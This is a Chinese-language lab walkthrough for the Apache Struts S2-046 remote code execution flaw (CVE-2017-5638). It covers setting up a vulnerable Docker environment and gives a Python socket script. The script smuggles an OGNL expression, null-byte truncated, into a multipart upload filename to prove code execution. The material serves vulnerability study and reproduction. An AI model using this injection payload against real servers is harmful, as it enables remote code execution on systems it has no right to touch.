# S2-046 远程代码执行漏洞(CVE-2017-5638) 影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10 漏洞详情: - https://cwiki.apache.org/confluence/display/WW/S2-046 - https://xz.aliyun.com/t/221 ## 漏洞环境 执行如下命令启动struts2 2.3.30: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8080`即可看到上传页面。 ## 漏洞复现 与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用`\x00`截断。 由于需要发送畸形数据包,我们简单使用原生socket编写payload: ```python import socket q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2 Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b" Content-Type: text/plain foo ------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n') p = b'''POST / HTTP/1.1 Host: localhost:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.8,es;q=0.6 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2 Content-Length: %d '''.replace(b'\n', b'\r\n') % (len(q), ) with socket.create_connection(('your-ip', '8080'), timeout=5) as conn: conn.send(p + q) print(conn.recv(10240).decode()) ``` `233*233`已成功执行: ![](1.png)